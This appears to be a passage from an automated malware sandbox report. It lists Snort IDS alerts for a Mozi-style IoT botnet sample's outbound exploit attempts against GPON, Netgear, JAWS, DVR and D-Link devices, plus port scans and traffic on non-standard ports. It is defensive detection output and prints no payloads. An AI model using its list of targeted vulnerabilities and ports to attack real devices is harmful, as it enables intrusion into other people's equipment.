Source: Traffic	Snort IDS: 2027063 ET EXPLOIT Outbound GPON Authentication Bypass Attempt (CVE-2018-10561) 192.168.2.23:33768 -> 201.20.107.209:8080
Source: Traffic	Snort IDS: 2025576 ET EXPLOIT HackingTrio UA (Hello, World) 192.168.2.23:50306 -> 23.11.243.9:80
Source: Traffic	Snort IDS: 2027063 ET EXPLOIT Outbound GPON Authentication Bypass Attempt (CVE-2018-10561) 192.168.2.23:50306 -> 23.11.243.9:80
Source: Traffic	Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 23.11.243.9:80 -> 192.168.2.23:50306
Source: Traffic	Snort IDS: 2020899 ET EXPLOIT D-Link Devices Home Network Administration Protocol Command Execution 192.168.2.23:54856 -> 81.108.37.251:80
Source: Traffic	Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 23.1.122.127:80 -> 192.168.2.23:55982
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:48454 -> 186.219.131.213:80
Source: Traffic	Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 23.57.42.173:80 -> 192.168.2.23:54054
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:48454 -> 186.219.131.213:80
Source: Traffic	Snort IDS: 2024915 ET EXPLOIT Possible Vacron NVR Remote Command Execution 192.168.2.23:58926 -> 34.120.140.43:8080
Source: Traffic	Snort IDS: 2025576 ET EXPLOIT HackingTrio UA (Hello, World) 192.168.2.23:47780 -> 104.116.174.45:80
Source: Traffic	Snort IDS: 2027063 ET EXPLOIT Outbound GPON Authentication Bypass Attempt (CVE-2018-10561) 192.168.2.23:47780 -> 104.116.174.45:80
Source: Traffic	Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 104.116.174.45:80 -> 192.168.2.23:47780
Source: Traffic	Snort IDS: 2034576 ET EXPLOIT Netgear DGN Remote Code Execution 192.168.2.23:40214 -> 38.86.17.103:80
Source: Traffic	Snort IDS: 2029215 ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound 192.168.2.23:40214 -> 38.86.17.103:80
Source: Traffic	Snort IDS: 2024916 ET EXPLOIT Netgear DGN Remote Command Execution 192.168.2.23:40214 -> 38.86.17.103:80
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 152.89.62.52:30301 -> 192.168.2.23:4000
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 59.99.193.239:8000 -> 192.168.2.23:4000
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 174.84.184.69:11211 -> 192.168.2.23:4000
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 109.164.113.203:5060 -> 192.168.2.23:4000
Source: Traffic	Snort IDS: 2025576 ET EXPLOIT HackingTrio UA (Hello, World) 192.168.2.23:41594 -> 173.223.178.190:80
Source: Traffic	Snort IDS: 2027063 ET EXPLOIT Outbound GPON Authentication Bypass Attempt (CVE-2018-10561) 192.168.2.23:41594 -> 173.223.178.190:80
Source: Traffic	Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 173.223.178.190:80 -> 192.168.2.23:41594
Source: Traffic	Snort IDS: 2025576 ET EXPLOIT HackingTrio UA (Hello, World) 192.168.2.23:41494 -> 63.33.145.170:80
Source: Traffic	Snort IDS: 2027063 ET EXPLOIT Outbound GPON Authentication Bypass Attempt (CVE-2018-10561) 192.168.2.23:41494 -> 63.33.145.170:80
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 61.3.148.76:18606 -> 192.168.2.23:4000
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.141.93.89:1900 -> 192.168.2.23:4000
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:46626 -> 162.209.132.128:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:46626 -> 162.209.132.128:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:34362 -> 148.229.1.12:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:60110 -> 205.198.160.107:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:60110 -> 205.198.160.107:80
Source: Traffic	Snort IDS: 2025576 ET EXPLOIT HackingTrio UA (Hello, World) 192.168.2.23:49554 -> 45.131.208.158:80
Source: Traffic	Snort IDS: 2027063 ET EXPLOIT Outbound GPON Authentication Bypass Attempt (CVE-2018-10561) 192.168.2.23:49554 -> 45.131.208.158:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:45688 -> 104.25.119.143:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:46790 -> 171.25.175.236:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:45688 -> 104.25.119.143:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:46790 -> 171.25.175.236:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:33654 -> 13.35.5.125:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:39960 -> 23.58.36.209:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:33654 -> 13.35.5.125:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:52420 -> 54.173.33.241:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:52420 -> 54.173.33.241:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:39960 -> 23.58.36.209:80
Source: Traffic	Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 23.58.36.209:80 -> 192.168.2.23:39960
Source: Traffic	Snort IDS: 2025884 ET EXPLOIT Multiple CCTV-DVR Vendors RCE 192.168.2.23:35686 -> 67.87.4.136:81
Source: Traffic	Snort IDS: 2025576 ET EXPLOIT HackingTrio UA (Hello, World) 192.168.2.23:36530 -> 185.115.61.29:8080
Source: Traffic	Snort IDS: 2027063 ET EXPLOIT Outbound GPON Authentication Bypass Attempt (CVE-2018-10561) 192.168.2.23:36530 -> 185.115.61.29:8080
Source: Traffic	Snort IDS: 2034576 ET EXPLOIT Netgear DGN Remote Code Execution 192.168.2.23:37138 -> 209.126.16.48:80
Source: Traffic	Snort IDS: 2029215 ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound 192.168.2.23:37138 -> 209.126.16.48:80
Source: Traffic	Snort IDS: 2024916 ET EXPLOIT Netgear DGN Remote Command Execution 192.168.2.23:37138 -> 209.126.16.48:80
Source: Traffic	Snort IDS: 2025576 ET EXPLOIT HackingTrio UA (Hello, World) 192.168.2.23:33922 -> 83.240.213.6:80
Source: Traffic	Snort IDS: 2027063 ET EXPLOIT Outbound GPON Authentication Bypass Attempt (CVE-2018-10561) 192.168.2.23:33922 -> 83.240.213.6:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:33508 -> 23.6.123.60:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:33508 -> 23.6.123.60:80
Source: Traffic	Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 23.6.123.60:80 -> 192.168.2.23:33508
Source: Traffic	Snort IDS: 2020899 ET EXPLOIT D-Link Devices Home Network Administration Protocol Command Execution 192.168.2.23:36280 -> 1.9.218.126:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:44592 -> 154.209.180.104:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:44592 -> 154.209.180.104:80
Source: Traffic	Snort IDS: 2025576 ET EXPLOIT HackingTrio UA (Hello, World) 192.168.2.23:60432 -> 154.215.209.203:80
Source: Traffic	Snort IDS: 2027063 ET EXPLOIT Outbound GPON Authentication Bypass Attempt (CVE-2018-10561) 192.168.2.23:60432 -> 154.215.209.203:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:33924 -> 188.215.82.71:80
Source: Traffic	Snort IDS: 2034576 ET EXPLOIT Netgear DGN Remote Code Execution 192.168.2.23:41576 -> 212.57.43.71:80
Source: Traffic	Snort IDS: 2029215 ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound 192.168.2.23:41576 -> 212.57.43.71:80
Source: Traffic	Snort IDS: 2024916 ET EXPLOIT Netgear DGN Remote Command Execution 192.168.2.23:41576 -> 212.57.43.71:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:33924 -> 188.215.82.71:80
Source: Traffic	Snort IDS: 2034576 ET EXPLOIT Netgear DGN Remote Code Execution 192.168.2.23:41190 -> 104.24.158.33:8080
Source: Traffic	Snort IDS: 2029215 ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound 192.168.2.23:41190 -> 104.24.158.33:8080
Source: Traffic	Snort IDS: 2024916 ET EXPLOIT Netgear DGN Remote Command Execution 192.168.2.23:41190 -> 104.24.158.33:8080
Source: Traffic	Snort IDS: 2025576 ET EXPLOIT HackingTrio UA (Hello, World) 192.168.2.23:46150 -> 130.107.153.243:80
Source: Traffic	Snort IDS: 2027063 ET EXPLOIT Outbound GPON Authentication Bypass Attempt (CVE-2018-10561) 192.168.2.23:46150 -> 130.107.153.243:80
Source: Traffic	Snort IDS: 2034576 ET EXPLOIT Netgear DGN Remote Code Execution 192.168.2.23:43756 -> 154.208.73.98:80
Source: Traffic	Snort IDS: 2029215 ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound 192.168.2.23:43756 -> 154.208.73.98:80
Source: Traffic	Snort IDS: 2024916 ET EXPLOIT Netgear DGN Remote Command Execution 192.168.2.23:43756 -> 154.208.73.98:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:50894 -> 178.32.54.199:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:50894 -> 178.32.54.199:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:35956 -> 23.44.16.109:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:35956 -> 23.44.16.109:80
Source: Traffic	Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 23.44.16.109:80 -> 192.168.2.23:35956
Source: Traffic	Snort IDS: 2025576 ET EXPLOIT HackingTrio UA (Hello, World) 192.168.2.23:45318 -> 198.50.31.71:80
Source: Traffic	Snort IDS: 2027063 ET EXPLOIT Outbound GPON Authentication Bypass Attempt (CVE-2018-10561) 192.168.2.23:45318 -> 198.50.31.71:80
Source: Traffic	Snort IDS: 2025576 ET EXPLOIT HackingTrio UA (Hello, World) 192.168.2.23:57410 -> 23.201.48.195:80
Source: Traffic	Snort IDS: 2027063 ET EXPLOIT Outbound GPON Authentication Bypass Attempt (CVE-2018-10561) 192.168.2.23:57410 -> 23.201.48.195:80
Source: Traffic	Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 23.201.48.195:80 -> 192.168.2.23:57410
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:38758 -> 114.142.213.80:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:38758 -> 114.142.213.80:80
Source: Traffic	Snort IDS: 2034576 ET EXPLOIT Netgear DGN Remote Code Execution 192.168.2.23:50994 -> 85.159.236.201:80
Source: Traffic	Snort IDS: 2029215 ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound 192.168.2.23:50994 -> 85.159.236.201:80
Source: Traffic	Snort IDS: 2024916 ET EXPLOIT Netgear DGN Remote Command Execution 192.168.2.23:50994 -> 85.159.236.201:80
Source: Traffic	Snort IDS: 2025576 ET EXPLOIT HackingTrio UA (Hello, World) 192.168.2.23:49740 -> 3.66.12.202:80
Source: Traffic	Snort IDS: 2027063 ET EXPLOIT Outbound GPON Authentication Bypass Attempt (CVE-2018-10561) 192.168.2.23:49740 -> 3.66.12.202:80
Source: Traffic	Snort IDS: 2034576 ET EXPLOIT Netgear DGN Remote Code Execution 192.168.2.23:47786 -> 196.46.192.172:80
Source: Traffic	Snort IDS: 2029215 ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound 192.168.2.23:47786 -> 196.46.192.172:80
Source: Traffic	Snort IDS: 2024916 ET EXPLOIT Netgear DGN Remote Command Execution 192.168.2.23:47786 -> 196.46.192.172:80
Source: Traffic	Snort IDS: 2025576 ET EXPLOIT HackingTrio UA (Hello, World) 192.168.2.23:46580 -> 34.102.251.67:8080
Source: Traffic	Snort IDS: 2027063 ET EXPLOIT Outbound GPON Authentication Bypass Attempt (CVE-2018-10561) 192.168.2.23:46580 -> 34.102.251.67:8080
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:58084 -> 87.17.124.195:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:58084 -> 87.17.124.195:80
Source: Traffic	Snort IDS: 2034576 ET EXPLOIT Netgear DGN Remote Code Execution 192.168.2.23:41712 -> 52.177.218.245:80
Source: Traffic	Snort IDS: 2029215 ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound 192.168.2.23:41712 -> 52.177.218.245:80
Source: Traffic	Snort IDS: 2024916 ET EXPLOIT Netgear DGN Remote Command Execution 192.168.2.23:41712 -> 52.177.218.245:80
Source: Traffic	Snort IDS: 2034576 ET EXPLOIT Netgear DGN Remote Code Execution 192.168.2.23:59316 -> 60.254.146.28:80
Source: Traffic	Snort IDS: 2029215 ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound 192.168.2.23:59316 -> 60.254.146.28:80
Source: Traffic	Snort IDS: 2024916 ET EXPLOIT Netgear DGN Remote Command Execution 192.168.2.23:59316 -> 60.254.146.28:80
Source: Traffic	Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 60.254.146.28:80 -> 192.168.2.23:59316
Source: Traffic	Snort IDS: 2034576 ET EXPLOIT Netgear DGN Remote Code Execution 192.168.2.23:46538 -> 192.126.238.185:80
Source: Traffic	Snort IDS: 2029215 ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound 192.168.2.23:46538 -> 192.126.238.185:80
Source: Traffic	Snort IDS: 2024916 ET EXPLOIT Netgear DGN Remote Command Execution 192.168.2.23:46538 -> 192.126.238.185:80
Source: Traffic	Snort IDS: 2034576 ET EXPLOIT Netgear DGN Remote Code Execution 192.168.2.23:41830 -> 174.136.32.221:80
Source: Traffic	Snort IDS: 2029215 ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound 192.168.2.23:41830 -> 174.136.32.221:80
Source: Traffic	Snort IDS: 2024916 ET EXPLOIT Netgear DGN Remote Command Execution 192.168.2.23:41830 -> 174.136.32.221:80
Source: Traffic	Snort IDS: 2025576 ET EXPLOIT HackingTrio UA (Hello, World) 192.168.2.23:51146 -> 95.171.44.71:80
Source: Traffic	Snort IDS: 2027063 ET EXPLOIT Outbound GPON Authentication Bypass Attempt (CVE-2018-10561) 192.168.2.23:51146 -> 95.171.44.71:80
Source: Traffic	Snort IDS: 2025576 ET EXPLOIT HackingTrio UA (Hello, World) 192.168.2.23:60330 -> 37.28.170.140:80
Source: Traffic	Snort IDS: 2027063 ET EXPLOIT Outbound GPON Authentication Bypass Attempt (CVE-2018-10561) 192.168.2.23:60330 -> 37.28.170.140:80
Source: Traffic	Snort IDS: 2020899 ET EXPLOIT D-Link Devices Home Network Administration Protocol Command Execution 192.168.2.23:55812 -> 93.41.229.147:80
Source: Traffic	Snort IDS: 2020899 ET EXPLOIT D-Link Devices Home Network Administration Protocol Command Execution 192.168.2.23:54054 -> 23.57.42.173:80
Source: Traffic	Snort IDS: 2020899 ET EXPLOIT D-Link Devices Home Network Administration Protocol Command Execution 192.168.2.23:55982 -> 23.1.122.127:80

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 49.30.95.191 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 46.208.194.138 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 186.13.189.220 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 115.128.48.99 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 87.59.59.83 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 40.217.232.105 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 1.102.177.191 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 145.78.150.14 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 182.70.170.130 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 194.204.98.109 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 147.242.54.19 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 92.66.154.32 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 165.213.73.162 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 60.91.131.86 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 97.132.168.27 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 81.78.52.168 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 152.225.18.120 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 183.56.193.84 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 170.248.33.117 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 119.44.231.19 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 34.235.160.60 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 112.176.104.27 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 27.49.23.52 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 105.242.110.44 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 93.51.81.184 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 119.236.192.141 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 166.236.5.250 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 120.234.0.119 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 145.20.161.88 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 45.60.67.75 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 182.6.67.113 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 120.184.29.196 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 83.120.45.138 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 71.10.2.3 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 186.74.80.35 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 6.42.96.227 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 131.239.170.174 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 130.30.19.29 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 124.242.109.222 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 60.39.118.49 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 154.227.186.158 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.1.30.61 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 122.36.114.106 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 150.179.62.203 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 33.162.5.64 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 79.115.136.43 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 221.126.105.14 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 188.90.174.120 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 219.17.67.235 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 34.69.23.176 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 8.96.114.127 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 118.24.78.63 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 105.188.53.103 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 88.103.118.246 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 8.33.31.17 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 189.232.159.133 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 83.41.162.42 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 79.161.24.176 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 143.54.177.24 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 4.178.77.136 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 154.2.250.169 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.43.185.122 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 168.21.138.88 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.225.166.184 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 1.224.209.95 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 30.101.205.242 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 119.163.0.210 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 83.199.233.176 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 159.42.57.237 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 60.138.201.97 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 120.185.75.38 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 211.183.25.135 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 133.193.211.115 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 210.162.131.189 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 33.38.63.31 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 179.28.189.224 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 198.195.107.231 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 103.133.112.54 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 29.146.1.94 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 216.93.120.15 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 58.170.123.16 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 17.229.113.84 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 9.219.58.246 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 67.56.126.36 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 11.216.21.192 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 13.156.98.231 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 152.79.242.212 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 175.195.226.130 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 54.122.133.187 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.34.33.4 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 138.81.221.137 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 81.79.57.93 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 152.90.219.150 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 13.59.26.118 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 133.165.216.47 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 130.102.160.74 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 104.86.216.214 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 166.31.23.109 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 179.220.108.237 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 122.120.11.163 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 25.87.237.51 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 5.30.108.246 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 47.57.146.158 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 55.226.166.165 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 39.152.6.71 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 139.235.155.108 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 141.147.122.73 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 137.242.74.67 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 154.192.176.198 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 54.1.124.25 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 219.44.149.12 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 169.240.44.151 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 166.92.12.100 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 128.218.150.32 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 123.55.16.248 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 25.224.91.27 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 200.115.122.89 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 24.1.57.126 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 11.174.186.112 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 90.198.227.113 ports 1,2,4,5,9,49152
Source: global traffic	TCP traffic: 21.235.94.156 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 17.202.225.253 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 65.53.76.53 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 122.42.97.57 ports 1,2,4,5,9,49152

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 32814 -> 8443
Source: unknown	Network traffic detected: HTTP traffic on port 45178 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45178 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45178 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45178 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45178 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45178 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45178 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35686 -> 81
Source: unknown	Network traffic detected: HTTP traffic on port 81 -> 35686
Source: unknown	Network traffic detected: HTTP traffic on port 59450 -> 81
Source: unknown	Network traffic detected: HTTP traffic on port 59450 -> 81
Source: unknown	Network traffic detected: HTTP traffic on port 59450 -> 81
Source: unknown	Network traffic detected: HTTP traffic on port 59450 -> 81
Source: unknown	Network traffic detected: HTTP traffic on port 59450 -> 81
Source: unknown	Network traffic detected: HTTP traffic on port 59450 -> 81
Source: unknown	Network traffic detected: HTTP traffic on port 59450 -> 81
Source: unknown	Network traffic detected: HTTP traffic on port 59450 -> 81

Source: global traffic	TCP traffic: 192.168.2.23:44492 -> 113.200.105.232:8443
Source: global traffic	TCP traffic: 192.168.2.23:41188 -> 67.129.160.73:5555
Source: global traffic	TCP traffic: 192.168.2.23:56336 -> 184.11.167.170:8443
Source: global traffic	TCP traffic: 192.168.2.23:36632 -> 109.102.232.127:5555
Source: global traffic	TCP traffic: 192.168.2.23:40794 -> 166.31.23.109:37215
Source: global traffic	TCP traffic: 192.168.2.23:50012 -> 35.45.112.6:8443
Source: global traffic	TCP traffic: 192.168.2.23:59028 -> 22.144.232.185:8080
Source: global traffic	TCP traffic: 192.168.2.23:41930 -> 100.196.47.140:8080
Source: global traffic	TCP traffic: 192.168.2.23:38968 -> 55.245.84.60:8080
Source: global traffic	TCP traffic: 192.168.2.23:53970 -> 200.186.246.157:7574
Source: global traffic	TCP traffic: 192.168.2.23:50484 -> 102.5.129.5:7574
Source: global traffic	TCP traffic: 192.168.2.23:57494 -> 137.64.79.56:81
Source: global traffic	TCP traffic: 192.168.2.23:41572 -> 185.119.191.5:8443
Source: global traffic	TCP traffic: 192.168.2.23:34966 -> 21.235.94.156:37215
Source: global traffic	TCP traffic: 192.168.2.23:53738 -> 65.53.76.53:37215
Source: global traffic	TCP traffic: 192.168.2.23:38138 -> 171.179.128.100:7574
Source: global traffic	TCP traffic: 192.168.2.23:45068 -> 45.25.57.240:8080
Source: global traffic	TCP traffic: 192.168.2.23:48750 -> 218.50.181.147:8080
Source: global traffic	TCP traffic: 192.168.2.23:46710 -> 126.28.245.2:8080
